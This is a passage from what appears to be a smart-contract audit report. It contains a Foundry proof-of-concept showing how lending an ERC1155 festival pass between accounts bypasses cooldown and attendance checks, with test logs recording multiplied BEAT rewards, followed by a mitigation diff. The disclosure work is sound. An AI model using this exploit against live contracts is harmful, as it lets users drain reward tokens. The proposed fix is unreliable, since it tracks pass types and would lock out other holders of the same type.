protection working"); // Alice transfers pass to Bob to bypass cooldown console.log("\nAlice transfers pass to Bob to bypass cooldown"); vm.prank(alice); festivalPass.safeTransferFrom(alice, bob, VIP_PASS, 1, ""); // Bob can immediately attend performance 2 (no cooldown for Bob) console.log("Bob attends performance 2 immediately:"); vm.prank(bob); festivalPass.attendPerformance(perf2); uint256 bobReward = beatToken.balanceOf(bob); console.log("Bob reward:", bobReward); console.log("Bob lastCheckIn:", festivalPass.lastCheckIn(bob)); console.log("\n=== COOLDOWN BYPASS RESULTS ==="); console.log("Alice could not attend due to cooldown"); console.log("Bob successfully attended immediately after transfer"); console.log("Cooldown mechanism bypassed through pass lending"); assertEq(bobReward, EXPECTED_VIP_REWARD, "Bob should successfully earn rewards"); assertEq(festivalPass.lastCheckIn(bob), block.timestamp, "Bob's check-in should be recorded"); } } ``` ```Solidity forge test --match-contract PassLendingExploitPoC -vv [⠰] Compiling... [⠃] Compiling 1 files with Solc 0.8.25 [⠊] Solc 0.8.25 finished in 442.56ms Compiler run successful! Ran 3 tests for test/PassLendingExploit.t.sol:PassLendingExploitPoC [PASS] testCooldownBypassThroughLending() (gas: 473221) Logs: === COOLDOWN BYPASS THROUGH PASS LENDING === Alice attends performance 1 Alice lastCheckIn: 5401 Alice tries performance 2 immediately: Cooldown protection working Alice transfers pass to Bob to bypass cooldown Bob attends performance 2 immediately: Bob reward: 200000000000000000000 Bob lastCheckIn: 5401 === COOLDOWN BYPASS RESULTS === Alice could not attend due to cooldown Bob successfully attended immediately after transfer Cooldown mechanism bypassed through pass lending [PASS] testLargeScalePassLendingRing() (gas: 1794585) Logs: === LARGE-SCALE PASS LENDING RING === Lending ring size: 10 BACKSTAGE pass multiplier: 3 Expected reward per attendance: 300000000000000000000 --- Exploiting Performance 1 --- User 0 reward: 300000000000000000000 User 1 reward: 300000000000000000000 User 2 reward: 300000000000000000000 User 3 reward: 300000000000000000000 User 4 reward: 300000000000000000000 User 5 reward: 300000000000000000000 User 6 reward: 300000000000000000000 User 7 reward: 300000000000000000000 User 8 reward: 300000000000000000000 User 9 reward: 300000000000000000000 --- Exploiting Performance 2 --- === LARGE-SCALE EXPLOITATION RESULTS === User 0 total BEAT: 600000000000000000000 User 1 total BEAT: 600000000000000000000 User 2 total BEAT: 600000000000000000000 User 3 total BEAT: 600000000000000000000 User 4 total BEAT: 600000000000000000000 User 5 total BEAT: 600000000000000000000 User 6 total BEAT: 600000000000000000000 User 7 total BEAT: 600000000000000000000 User 8 total BEAT: 600000000000000000000 User 9 total BEAT: 600000000000000000000 Total BEAT farmed: 6000000000000000000000 Legitimate total (2 performances, 1 person): 600000000000000000000 Exploitation multiplier: 10 [PASS] testSinglePassMultipleRewards() (gas: 567999) Logs: === PASS LENDING REWARD MULTIPLICATION EXPLOIT === --- Setup: Alice buys 1 VIP pass --- Alice VIP balance: 1 Alice BEAT balance (welcome bonus): 5000000000000000000 --- Performance starts, exploitation begins --- STEP 1: Alice attends performance Alice attendance reward: 200000000000000000000 Alice has attended: true STEP 2: Alice transfers VIP pass to Bob Alice VIP balance: 0 Bob VIP balance: 1 Bob has pass: true STEP 3: Bob attends SAME performance with transferred pass Bob attendance reward: 200000000000000000000 Bob has attended: true STEP 4: Bob transfers VIP pass to Charlie STEP 5: Charlie attends SAME performance Charlie attendance reward: 200000000000000000000 STEP 6: Charlie transfers to Dave Dave attendance reward: 200000000000000000000 === EXPLOITATION RESULTS === Total BEAT farmed from 1 pass: 800000000000000000000 Legitimate reward (1 person): 200000000000000000000 Reward multiplication factor: 4 Excess BEAT stolen: 600000000000000000000 Attendance tracking per user: Alice attended: true Bob attended: true Charlie attended: true Dave attended: true Final pass holder (Dave): 1 Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 2.49ms (2.14ms CPU time) Ran 1 test suite in 4.56ms (2.49ms CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests) ``` ## Recommended Mitigation The fix implements per-pass attendance tracking to ensure each individual pass can only be used once per performance, regardless of how many times it's transferred between users. This preserves the intended 1-pass-1-reward economics while still allowing legitimate pass transfers for other purposes, preventing coordinated reward multiplication while maintaining the flexibility of the ERC1155 standard. ```diff contract FestivalPass is ERC1155, Ownable2Step, IFestivalPass { // ... existing state variables ... + mapping(uint256 => mapping(uint256 => bool)) public passUsedForPerformance; // performanceId => passTokenId => used function attendPerformance(uint256 performanceId) external { require(isPerformanceActive(performanceId), "Performance is not active"); require(hasPass(msg.sender), "Must own a pass"); require(!hasAttended[performanceId][msg.sender], "Already attended this performance"); require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met"); + // Check which pass type the user owns and mark it as used + uint256 userPassId = getUserPassId(msg.sender); + require(!passUsedForPerformance[performanceId][userPassId], "This pass already used for this performance"); + passUsedForPerformance[performanceId][userPassId] = true; hasAttended[performanceId][msg.sender] = true; lastCheckIn[msg.sender] = block.timestamp; uint256 multiplier = getMultiplier(msg.sender); BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier); emit Attended(msg.sender, performanceId, performances[performanceId].baseReward * multiplier); } + function getUserPassId(address user) internal view returns (uint256) { + if (balanceOf(user, BACKSTAGE_PASS) > 0) return BACKSTAGE_PASS; + if (balanceOf(user, VIP_PASS) > 0) return VIP_PASS; + if (balanceOf(user, GENERAL_PASS) > 0) return GENERAL_PASS; + revert("User has no pass"); + } } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!